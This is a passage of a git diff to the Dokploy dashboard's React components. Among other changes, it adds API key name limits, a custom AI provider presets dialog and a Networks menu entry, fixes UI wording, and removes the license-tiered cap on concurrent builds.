<CardContent className="space-y-2 py-8 border-t">
|
||||||
{isPending ? (
|
{isPending ? (
|
||||||
|
|||||||
@@ -32,10 +32,11 @@ import {
|
|||||||
SelectValue,
|
SelectValue,
|
||||||
} from "@/components/ui/select";
|
} from "@/components/ui/select";
|
||||||
import { Switch } from "@/components/ui/switch";
|
import { Switch } from "@/components/ui/switch";
|
||||||
|
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
|
||||||
import { api } from "@/utils/api";
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
const formSchema = z.object({
|
const formSchema = z.object({
|
||||||
name: z.string().min(1, "Name is required"),
|
name: apiKeyNameSchema,
|
||||||
prefix: z.string().optional(),
|
prefix: z.string().optional(),
|
||||||
expiresIn: z.number().nullable(),
|
expiresIn: z.number().nullable(),
|
||||||
organizationId: z.string().min(1, "Organization is required"),
|
organizationId: z.string().min(1, "Organization is required"),
|
||||||
@@ -159,8 +160,15 @@ export const AddApiKey = () => {
|
|||||||
<FormItem>
|
<FormItem>
|
||||||
<FormLabel>Name</FormLabel>
|
<FormLabel>Name</FormLabel>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<Input placeholder="My API Key" {...field} />
|
<Input
|
||||||
|
placeholder="My API Key"
|
||||||
|
maxLength={API_KEY_NAME_MAX_LENGTH}
|
||||||
|
{...field}
|
||||||
|
/>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
|
<FormDescription>
|
||||||
|
Maximum {API_KEY_NAME_MAX_LENGTH} characters
|
||||||
|
</FormDescription>
|
||||||
<FormMessage />
|
<FormMessage />
|
||||||
</FormItem>
|
</FormItem>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
|
|||||||
</DialogTrigger>
|
</DialogTrigger>
|
||||||
<DialogContent className="sm:max-w-2xl">
|
<DialogContent className="sm:max-w-2xl">
|
||||||
<DialogHeader>
|
<DialogHeader>
|
||||||
<DialogTitle>Add a external registry</DialogTitle>
|
<DialogTitle>Add an external registry</DialogTitle>
|
||||||
<DialogDescription>
|
<DialogDescription>
|
||||||
Fill the next fields to add a external registry.
|
Fill in the following fields to add an external registry.
|
||||||
</DialogDescription>
|
</DialogDescription>
|
||||||
</DialogHeader>
|
</DialogHeader>
|
||||||
{(isError || testRegistryIsError || testRegistryByIdIsError) && (
|
{(isError || testRegistryIsError || testRegistryByIdIsError) && (
|
||||||
|
|||||||
@@ -0,0 +1,158 @@
|
|||||||
|
"use client";
|
||||||
|
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
|
||||||
|
import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
|
||||||
|
import { useEffect, useState } from "react";
|
||||||
|
import { useFieldArray, useForm } from "react-hook-form";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { z } from "zod";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import {
|
||||||
|
Form,
|
||||||
|
FormControl,
|
||||||
|
FormField,
|
||||||
|
FormItem,
|
||||||
|
FormMessage,
|
||||||
|
} from "@/components/ui/form";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
const Schema = z.object({
|
||||||
|
providers: z.array(
|
||||||
|
z.object({
|
||||||
|
name: z.string().min(1, { message: "Name is required" }),
|
||||||
|
apiUrl: z.string().url({ message: "Please enter a valid URL" }),
|
||||||
|
}),
|
||||||
|
),
|
||||||
|
});
|
||||||
|
|
||||||
|
type Schema = z.infer<typeof Schema>;
|
||||||
|
|
||||||
|
export const HandleAiProviders = () => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const [open, setOpen] = useState(false);
|
||||||
|
const { data: providers } = api.ai.getCustomProviders.useQuery();
|
||||||
|
const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
|
||||||
|
|
||||||
|
const form = useForm<Schema>({
|
||||||
|
resolver: zodResolver(Schema),
|
||||||
|
defaultValues: {
|
||||||
|
providers: [],
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
const { fields, append, remove } = useFieldArray({
|
||||||
|
control: form.control,
|
||||||
|
name: "providers",
|
||||||
|
});
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (open) {
|
||||||
|
form.reset({ providers: providers ?? [] });
|
||||||
|
}
|
||||||
|
}, [open, providers, form]);
|
||||||
|
|
||||||
|
const onSubmit = async (data: Schema) => {
|
||||||
|
try {
|
||||||
|
await mutateAsync({ providers: data.providers });
|
||||||
|
await utils.ai.getCustomProviders.invalidate();
|
||||||
|
toast.success("Custom providers saved successfully");
|
||||||
|
setOpen(false);
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Failed to save custom providers", {
|
||||||
|
description: error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={open} onOpenChange={setOpen}>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
<Button variant="outline" className="cursor-pointer space-x-3">
|
||||||
|
<ServerIcon className="h-4 w-4" />
|
||||||
|
Custom Presets
|
||||||
|
</Button>
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="sm:max-w-xl">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle>Custom AI Providers</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
Define your own AI providers, like an internal LLM platform. When at
|
||||||
|
least one is defined, only these providers can be used in AI
|
||||||
|
configurations.
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
<Form {...form}>
|
||||||
|
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
|
||||||
|
{fields.length === 0 && (
|
||||||
|
<p className="text-sm text-muted-foreground">
|
||||||
|
No custom providers defined. The built-in provider list will be
|
||||||
|
used.
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
{fields.map((fieldItem, index) => (
|
||||||
|
<div key={fieldItem.id} className="flex gap-2 items-start">
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name={`providers.${index}.name`}
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex-1">
|
||||||
|
<FormControl>
|
||||||
|
<Input placeholder="Internal LLM" {...field} />
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name={`providers.${index}.apiUrl`}
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex-[2]">
|
||||||
|
<FormControl>
|
||||||
|
<Input
|
||||||
|
placeholder="https://llm.internal.company/v1"
|
||||||
|
{...field}
|
||||||
|
/>
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="group hover:bg-red-500/10"
|
||||||
|
onClick={() => remove(index)}
|
||||||
|
>
|
||||||
|
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
<div className="flex justify-between">
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
variant="outline"
|
||||||
|
onClick={() => append({ name: "", apiUrl: "" })}
|
||||||
|
>
|
||||||
|
<PlusIcon className="h-4 w-4" />
|
||||||
|
Add Provider
|
||||||
|
</Button>
|
||||||
|
<Button type="submit" isLoading={isPending}>
|
||||||
|
Save
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</Form>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -99,6 +99,11 @@ export const HandleAi = ({ aiId }: Props) => {
|
|||||||
enabled: !!aiId,
|
enabled: !!aiId,
|
||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
const { data: customProviders } = api.ai.getCustomProviders.useQuery();
|
||||||
|
const hasCustomProviders = (customProviders?.length ?? 0) > 0;
|
||||||
|
const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
|
||||||
|
? (customProviders ?? [])
|
||||||
|
: [...AI_PROVIDERS];
|
||||||
const { mutateAsync, isPending } = aiId
|
const { mutateAsync, isPending } = aiId
|
||||||
? api.ai.update.useMutation()
|
? api.ai.update.useMutation()
|
||||||
: api.ai.create.useMutation();
|
: api.ai.create.useMutation();
|
||||||
@@ -131,7 +136,10 @@ export const HandleAi = ({ aiId }: Props) => {
|
|||||||
const apiUrl = form.watch("apiUrl");
|
const apiUrl = form.watch("apiUrl");
|
||||||
const apiKey = form.watch("apiKey");
|
const apiKey = form.watch("apiKey");
|
||||||
|
|
||||||
const isOllama = apiUrl.includes(":11434") || apiUrl.includes("ollama");
|
// Any Ollama instance on the default port 11434 is treated as no-auth
|
||||||
|
// (covers localhost and self-hosted LAN deployments). Ollama Cloud
|
||||||
|
// (ollama.com on 443) falls through and requires an API key.
|
||||||
|
const isLocalOllama = apiUrl.includes(":11434");
|
||||||
const {
|
const {
|
||||||
data: models,
|
data: models,
|
||||||
isFetching: isLoadingServerModels,
|
isFetching: isLoadingServerModels,
|
||||||
@@ -142,7 +150,7 @@ export const HandleAi = ({ aiId }: Props) => {
|
|||||||
apiKey: apiKey ?? "",
|
apiKey: apiKey ?? "",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
enabled: !!apiUrl && (isOllama || !!apiKey),
|
enabled: !!apiUrl && (isLocalOllama || !!apiKey),
|
||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -207,7 +215,9 @@ export const HandleAi = ({ aiId }: Props) => {
|
|||||||
<FormLabel>Provider</FormLabel>
|
<FormLabel>Provider</FormLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
|
const provider = providerOptions.find(
|
||||||
|
(p) => p.apiUrl === value,
|
||||||
|
);
|
||||||
if (provider) {
|
if (provider) {
|
||||||
form.setValue("name", provider.name);
|
form.setValue("name", provider.name);
|
||||||
form.setValue("apiUrl", provider.apiUrl);
|
form.setValue("apiUrl", provider.apiUrl);
|
||||||
@@ -219,15 +229,20 @@ export const HandleAi = ({ aiId }: Props) => {
|
|||||||
<SelectValue placeholder="Select a provider preset..." />
|
<SelectValue placeholder="Select a provider preset..." />
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{AI_PROVIDERS.map((provider) => (
|
{providerOptions.map((provider) => (
|
||||||
<SelectItem key={provider.apiUrl} value={provider.apiUrl}>
|
<SelectItem
|
||||||
|
key={`${provider.name}-${provider.apiUrl}`}
|
||||||
|
value={provider.apiUrl}
|
||||||
|
>
|
||||||
{provider.name}
|
{provider.name}
|
||||||
</SelectItem>
|
</SelectItem>
|
||||||
))}
|
))}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
<p className="text-[0.8rem] text-muted-foreground">
|
<p className="text-[0.8rem] text-muted-foreground">
|
||||||
Quick-fill provider name and URL, or configure manually below
|
{hasCustomProviders
|
||||||
|
? "Select one of the providers defined by your organization"
|
||||||
|
: "Quick-fill provider name and URL, or configure manually below"}
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -257,6 +272,7 @@ export const HandleAi = ({ aiId }: Props) => {
|
|||||||
<FormControl>
|
<FormControl>
|
||||||
<Input
|
<Input
|
||||||
placeholder="https://api.openai.com/v1"
|
placeholder="https://api.openai.com/v1"
|
||||||
|
disabled={hasCustomProviders}
|
||||||
{...field}
|
{...field}
|
||||||
onChange={(e) => {
|
onChange={(e) => {
|
||||||
field.onChange(e);
|
field.onChange(e);
|
||||||
@@ -268,14 +284,16 @@ export const HandleAi = ({ aiId }: Props) => {
|
|||||||
/>
|
/>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
<FormDescription>
|
<FormDescription>
|
||||||
The base URL for your AI provider's API
|
{hasCustomProviders
|
||||||
|
? "The API URL is defined by your organization's providers"
|
||||||
|
: "The base URL for your AI provider's API"}
|
||||||
</FormDescription>
|
</FormDescription>
|
||||||
<FormMessage />
|
<FormMessage />
|
||||||
</FormItem>
|
</FormItem>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
{!isOllama && (
|
{!isLocalOllama && (
|
||||||
<FormField
|
<FormField
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="apiKey"
|
name="apiKey"
|
||||||
|
|||||||
@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
|
|||||||
<div className="">
|
<div className="">
|
||||||
<FormLabel>App Deploy</FormLabel>
|
<FormLabel>App Deploy</FormLabel>
|
||||||
<FormDescription>
|
<FormDescription>
|
||||||
Trigger the action when a app is deployed.
|
Trigger the action when an app is deployed.
|
||||||
</FormDescription>
|
</FormDescription>
|
||||||
</div>
|
</div>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
|
|||||||
<div className="space-y-0.5">
|
<div className="space-y-0.5">
|
||||||
<FormLabel>Dokploy Backup</FormLabel>
|
<FormLabel>Dokploy Backup</FormLabel>
|
||||||
<FormDescription>
|
<FormDescription>
|
||||||
Trigger the action when a dokploy backup is created.
|
Trigger the action when a Dokploy backup is created.
|
||||||
</FormDescription>
|
</FormDescription>
|
||||||
</div>
|
</div>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
|
|||||||
<div className="space-y-0.5">
|
<div className="space-y-0.5">
|
||||||
<FormLabel>Docker Cleanup</FormLabel>
|
<FormLabel>Docker Cleanup</FormLabel>
|
||||||
<FormDescription>
|
<FormDescription>
|
||||||
Trigger the action when the docker cleanup is
|
Trigger the action when Docker cleanup is performed.
|
||||||
performed.
|
|
||||||
</FormDescription>
|
</FormDescription>
|
||||||
</div>
|
</div>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
@@ -1955,7 +1954,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
|
|||||||
<div className="space-y-0.5">
|
<div className="space-y-0.5">
|
||||||
<FormLabel>Dokploy Restart</FormLabel>
|
<FormLabel>Dokploy Restart</FormLabel>
|
||||||
<FormDescription>
|
<FormDescription>
|
||||||
Trigger the action when dokploy is restarted.
|
Trigger the action when Dokploy is restarted.
|
||||||
</FormDescription>
|
</FormDescription>
|
||||||
</div>
|
</div>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
|
|||||||
@@ -100,7 +100,7 @@ export const Enable2FA = () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
if (result.error) {
|
if (result.error) {
|
||||||
if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
|
if (result.error.code === "INVALID_CODE") {
|
||||||
toast.error("Invalid verification code");
|
toast.error("Invalid verification code");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,9 +4,7 @@ import { Button } from "@/components/ui/button";
|
|||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { api } from "@/utils/api";
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
// Free tier may set up to 2 concurrent builds; enterprise unlocks more.
|
const MAX_CONCURRENCY = 100;
|
||||||
const FREE_MAX_CONCURRENCY = 2;
|
|
||||||
const ENTERPRISE_MAX_CONCURRENCY = 100;
|
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
/**
|
/**
|
||||||
@@ -20,14 +18,10 @@ interface Props {
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Control to set the number of concurrent builds, either for a remote server
|
* Control to set the number of concurrent builds, either for a remote server
|
||||||
* (`serverId` provided) or the local web server (omitted). Available to
|
* (`serverId` provided) or the local web server (omitted). Not shown in cloud.
|
||||||
* everyone self-hosted up to FREE_MAX_CONCURRENCY; higher values require a
|
|
||||||
* valid enterprise license. Not shown in cloud.
|
|
||||||
*/
|
*/
|
||||||
export const BuildsConcurrency = ({ serverId, label }: Props) => {
|
export const BuildsConcurrency = ({ serverId, label }: Props) => {
|
||||||
const { data: isCloud } = api.settings.isCloud.useQuery();
|
const { data: isCloud } = api.settings.isCloud.useQuery();
|
||||||
const { data: haveValidLicense } =
|
|
||||||
api.licenseKey.haveValidLicenseKey.useQuery();
|
|
||||||
|
|
||||||
const serverQuery = api.server.one.useQuery(
|
const serverQuery = api.server.one.useQuery(
|
||||||
{ serverId: serverId ?? "" },
|
{ serverId: serverId ?? "" },
|
||||||
@@ -59,10 +53,7 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
|
|||||||
// Concurrent builds are a self-hosted feature; not shown in cloud.
|
// Concurrent builds are a self-hosted feature; not shown in cloud.
|
||||||
if (isCloud) return null;
|
if (isCloud) return null;
|
||||||
|
|
||||||
const max = haveValidLicense
|
const clamp = (n: number) => Math.min(MAX_CONCURRENCY, Math.max(1, n));
|
||||||
? ENTERPRISE_MAX_CONCURRENCY
|
|
||||||
: FREE_MAX_CONCURRENCY;
|
|
||||||
const clamp = (n: number) => Math.min(max, Math.max(1, n));
|
|
||||||
|
|
||||||
const handleSave = async () => {
|
const handleSave = async () => {
|
||||||
const parsed = clamp(Number.parseInt(value, 10) || 1);
|
const parsed = clamp(Number.parseInt(value, 10) || 1);
|
||||||
@@ -101,7 +92,7 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
|
|||||||
<Input
|
<Input
|
||||||
type="number"
|
type="number"
|
||||||
min={1}
|
min={1}
|
||||||
max={max}
|
max={MAX_CONCURRENCY}
|
||||||
value={value}
|
value={value}
|
||||||
onChange={(e) => setValue(e.target.value)}
|
onChange={(e) => setValue(e.target.value)}
|
||||||
className="w-20"
|
className="w-20"
|
||||||
|
|||||||
@@ -97,6 +97,7 @@ export const ShowUsers = () => {
|
|||||||
<TableRow>
|
<TableRow>
|
||||||
<TableHead className="w-[100px]">Email</TableHead>
|
<TableHead className="w-[100px]">Email</TableHead>
|
||||||
<TableHead className="text-center">Role</TableHead>
|
<TableHead className="text-center">Role</TableHead>
|
||||||
|
<TableHead className="text-center">Status</TableHead>
|
||||||
<TableHead className="text-center">2FA</TableHead>
|
<TableHead className="text-center">2FA</TableHead>
|
||||||
|
|
||||||
<TableHead className="text-center">
|
<TableHead className="text-center">
|
||||||
@@ -173,6 +174,19 @@ export const ShowUsers = () => {
|
|||||||
{member.role}
|
{member.role}
|
||||||
</Badge>
|
</Badge>
|
||||||
</TableCell>
|
</TableCell>
|
||||||
|
<TableCell className="text-center">
|
||||||
|
<Badge
|
||||||
|
variant={
|
||||||
|
member.user.banned
|
||||||
|
? "destructive"
|
||||||
|
: "outline"
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{member.user.banned
|
||||||
|
? "Deactivated"
|
||||||
|
: "Active"}
|
||||||
|
</Badge>
|
||||||
|
</TableCell>
|
||||||
<TableCell className="text-center">
|
<TableCell className="text-center">
|
||||||
{member.user.twoFactorEnabled
|
{member.user.twoFactorEnabled
|
||||||
? "Enabled"
|
? "Enabled"
|
||||||
|
|||||||
@@ -43,7 +43,8 @@ const addServerDomain = z
|
|||||||
.string()
|
.string()
|
||||||
.trim()
|
.trim()
|
||||||
.toLowerCase()
|
.toLowerCase()
|
||||||
.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
|
// empty clears the server domain and reverts to IP-only access
|
||||||
|
.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
|
||||||
message: INVALID_HOSTNAME_MESSAGE,
|
message: INVALID_HOSTNAME_MESSAGE,
|
||||||
}),
|
}),
|
||||||
letsEncryptEmail: z.string(),
|
letsEncryptEmail: z.string(),
|
||||||
@@ -51,7 +52,7 @@ const addServerDomain = z
|
|||||||
certificateType: z.enum(["letsencrypt", "none", "custom"]),
|
certificateType: z.enum(["letsencrypt", "none", "custom"]),
|
||||||
})
|
})
|
||||||
.superRefine((data, ctx) => {
|
.superRefine((data, ctx) => {
|
||||||
if (data.https && !data.certificateType) {
|
if (data.domain && data.https && !data.certificateType) {
|
||||||
ctx.addIssue({
|
ctx.addIssue({
|
||||||
code: z.ZodIssueCode.custom,
|
code: z.ZodIssueCode.custom,
|
||||||
path: ["certificateType"],
|
path: ["certificateType"],
|
||||||
@@ -59,6 +60,7 @@ const addServerDomain = z
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
if (
|
if (
|
||||||
|
data.domain &&
|
||||||
data.https &&
|
data.https &&
|
||||||
data.certificateType === "letsencrypt" &&
|
data.certificateType === "letsencrypt" &&
|
||||||
!data.letsEncryptEmail
|
!data.letsEncryptEmail
|
||||||
|
|||||||
@@ -40,6 +40,7 @@ interface Props {
|
|||||||
children?: React.ReactNode;
|
children?: React.ReactNode;
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
appType?: "stack" | "docker-compose";
|
appType?: "stack" | "docker-compose";
|
||||||
|
serviceId?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const DockerTerminalModal = ({
|
export const DockerTerminalModal = ({
|
||||||
@@ -47,6 +48,7 @@ export const DockerTerminalModal = ({
|
|||||||
appName,
|
appName,
|
||||||
serverId,
|
serverId,
|
||||||
appType,
|
appType,
|
||||||
|
serviceId,
|
||||||
}: Props) => {
|
}: Props) => {
|
||||||
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
|
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
|
||||||
{
|
{
|
||||||
@@ -131,6 +133,7 @@ export const DockerTerminalModal = ({
|
|||||||
serverId={serverId || ""}
|
serverId={serverId || ""}
|
||||||
id="terminal"
|
id="terminal"
|
||||||
containerId={containerId || "select-a-container"}
|
containerId={containerId || "select-a-container"}
|
||||||
|
serviceId={serviceId}
|
||||||
/>
|
/>
|
||||||
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
|
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
|
||||||
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
|
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
|
||||||
|
|||||||
@@ -87,7 +87,8 @@ export const RebuildDatabase = ({ id, type }: Props) => {
|
|||||||
<AlertTriangle className="h-5 w-5 text-destructive" />
|
<AlertTriangle className="h-5 w-5 text-destructive" />
|
||||||
Are you absolutely sure?
|
Are you absolutely sure?
|
||||||
</AlertDialogTitle>
|
</AlertDialogTitle>
|
||||||
<AlertDialogDescription className="space-y-2">
|
<AlertDialogDescription asChild>
|
||||||
|
<div className="space-y-2">
|
||||||
<p>This action will:</p>
|
<p>This action will:</p>
|
||||||
<ul className="list-disc list-inside space-y-1">
|
<ul className="list-disc list-inside space-y-1">
|
||||||
<li>Stop the current database service</li>
|
<li>Stop the current database service</li>
|
||||||
@@ -98,18 +99,17 @@ export const RebuildDatabase = ({ id, type }: Props) => {
|
|||||||
<p className="font-medium text-destructive mt-4">
|
<p className="font-medium text-destructive mt-4">
|
||||||
This action cannot be undone.
|
This action cannot be undone.
|
||||||
</p>
|
</p>
|
||||||
|
</div>
|
||||||
</AlertDialogDescription>
|
</AlertDialogDescription>
|
||||||
</AlertDialogHeader>
|
</AlertDialogHeader>
|
||||||
<AlertDialogFooter>
|
<AlertDialogFooter>
|
||||||
<AlertDialogCancel>Cancel</AlertDialogCancel>
|
<AlertDialogCancel>Cancel</AlertDialogCancel>
|
||||||
<AlertDialogAction
|
<AlertDialogAction
|
||||||
onClick={handleRebuild}
|
onClick={handleRebuild}
|
||||||
className="bg-destructive text-destructive-foreground hover:bg-destructive/90"
|
disabled={isPending}
|
||||||
asChild
|
variant="destructive"
|
||||||
>
|
>
|
||||||
<Button isLoading={isPending} type="submit">
|
|
||||||
Yes, rebuild database
|
Yes, rebuild database
|
||||||
</Button>
|
|
||||||
</AlertDialogAction>
|
</AlertDialogAction>
|
||||||
</AlertDialogFooter>
|
</AlertDialogFooter>
|
||||||
</AlertDialogContent>
|
</AlertDialogContent>
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
import { ShowResources } from "@/components/dashboard/application/advanced/show-resources";
|
import { ShowResources } from "@/components/dashboard/application/advanced/show-resources";
|
||||||
import { ShowVolumes } from "@/components/dashboard/application/advanced/volumes/show-volumes";
|
import { ShowVolumes } from "@/components/dashboard/application/advanced/volumes/show-volumes";
|
||||||
|
import { AssignNetworks } from "@/components/dashboard/networks/assign-networks";
|
||||||
import { ShowCustomCommand } from "@/components/dashboard/postgres/advanced/show-custom-command";
|
import { ShowCustomCommand } from "@/components/dashboard/postgres/advanced/show-custom-command";
|
||||||
import { ShowClusterSettings } from "../application/advanced/cluster/show-cluster-settings";
|
import { ShowClusterSettings } from "../application/advanced/cluster/show-cluster-settings";
|
||||||
import { RebuildDatabase } from "./rebuild-database";
|
import { RebuildDatabase } from "./rebuild-database";
|
||||||
@@ -21,6 +22,7 @@ export const ShowDatabaseAdvancedSettings = ({ id, type }: Props) => {
|
|||||||
<ShowClusterSettings id={id} type={type} />
|
<ShowClusterSettings id={id} type={type} />
|
||||||
) : null}
|
) : null}
|
||||||
<ShowVolumes id={id} type={type} />
|
<ShowVolumes id={id} type={type} />
|
||||||
|
<AssignNetworks id={id} type={type} />
|
||||||
<ShowResources id={id} type={type} />
|
<ShowResources id={id} type={type} />
|
||||||
<RebuildDatabase id={id} type={type} />
|
<RebuildDatabase id={id} type={type} />
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
|
|||||||
return (
|
return (
|
||||||
<Dialog>
|
<Dialog>
|
||||||
<DialogTrigger asChild>
|
<DialogTrigger asChild>
|
||||||
<Button variant="outline" size="sm" className="w-full">
|
<Button variant="outline" size="sm">
|
||||||
<Loader2 className="h-4 w-4 mr-2 animate-spin" />
|
<Loader2 className="h-4 w-4 mr-2 animate-spin" />
|
||||||
</Button>
|
</Button>
|
||||||
</DialogTrigger>
|
</DialogTrigger>
|
||||||
@@ -82,7 +82,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
|
|||||||
return (
|
return (
|
||||||
<Dialog>
|
<Dialog>
|
||||||
<DialogTrigger asChild>
|
<DialogTrigger asChild>
|
||||||
<Button variant="outline" size="sm" className="w-full">
|
<Button variant="outline" size="sm">
|
||||||
<Layers className="h-4 w-4 mr-2" />
|
<Layers className="h-4 w-4 mr-2" />
|
||||||
Services
|
Services
|
||||||
</Button>
|
</Button>
|
||||||
|
|||||||
@@ -110,7 +110,7 @@ export function NodeCard({ node, serverId }: Props) {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex justify-end w-full space-x-4">
|
<div className="flex justify-end w-full gap-4">
|
||||||
<ShowNodeConfig nodeId={node.ID} serverId={serverId} />
|
<ShowNodeConfig nodeId={node.ID} serverId={serverId} />
|
||||||
<ShowNodeApplications serverId={serverId} />
|
<ShowNodeApplications serverId={serverId} />
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ export const ShowNodeConfig = ({ nodeId, serverId }: Props) => {
|
|||||||
return (
|
return (
|
||||||
<Dialog>
|
<Dialog>
|
||||||
<DialogTrigger asChild>
|
<DialogTrigger asChild>
|
||||||
<Button variant="outline" size="sm" className="w-full">
|
<Button variant="outline" size="sm">
|
||||||
<Settings className="h-4 w-4 mr-2" />
|
<Settings className="h-4 w-4 mr-2" />
|
||||||
Config
|
Config
|
||||||
</Button>
|
</Button>
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ import {
|
|||||||
Loader2,
|
Loader2,
|
||||||
LogIn,
|
LogIn,
|
||||||
type LucideIcon,
|
type LucideIcon,
|
||||||
|
Network,
|
||||||
Package,
|
Package,
|
||||||
Palette,
|
Palette,
|
||||||
PieChart,
|
PieChart,
|
||||||
@@ -41,6 +42,7 @@ import Link from "next/link";
|
|||||||
import { usePathname } from "next/navigation";
|
import { usePathname } from "next/navigation";
|
||||||
import { useEffect, useState } from "react";
|
import { useEffect, useState } from "react";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
import {
|
import {
|
||||||
Breadcrumb,
|
Breadcrumb,
|
||||||
BreadcrumbItem,
|
BreadcrumbItem,
|
||||||
@@ -208,6 +210,20 @@ const MENU: Menu = {
|
|||||||
// Only enabled for users with access to Docker
|
// Only enabled for users with access to Docker
|
||||||
isEnabled: ({ permissions }) => !!permissions?.docker.read,
|
isEnabled: ({ permissions }) => !!permissions?.docker.read,
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
isSingle: true,
|
||||||
|
title: "Networks",
|
||||||
|
url: "/dashboard/networks",
|
||||||
|
icon: Network,
|
||||||
|
// Only enabled for admins and users with access to Docker in non-cloud environments
|
||||||
|
isEnabled: ({ auth, isCloud }) =>
|
||||||
|
!!(
|
||||||
|
